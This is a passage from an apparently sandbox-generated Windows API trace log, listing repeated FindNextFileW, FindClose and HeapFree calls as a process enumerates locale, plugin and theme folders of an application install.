lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0268.332] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.332] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0268.332] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.332] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0268.332] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.332] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0268.333] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.333] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0268.334] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.334] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0268.334] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.334] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0268.335] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.335] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0268.336] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.336] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0268.336] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0268.336] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0268.336] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0268.337] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0268.337] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0268.337] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0268.337] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.337] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0268.338] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0268.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0268.338] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0268.338] FindClose (in: hFindFile=0x649fd8 | out: hFindFile=0x649fd8) returned 1 [0268.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0268.340] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdfupsell-app", cAlternateFileName="EXPORT~1")) returned 1 [0268.344] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.344] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0268.381] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.381] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0268.381] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0268.381] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0268.381] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0268.381] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0268.382] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.382] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0268.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.422] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0268.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.426] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0268.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.432] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0268.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.441] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0268.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.445] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0268.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.445] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0268.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.446] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0268.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.447] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0268.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.447] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0268.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.448] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0268.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.448] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0268.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.449] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0268.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.449] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0268.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.450] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0268.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.450] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0268.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.451] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0268.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.452] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0268.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.452] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0268.453] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.453] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0268.453] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.453] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0268.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.454] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, 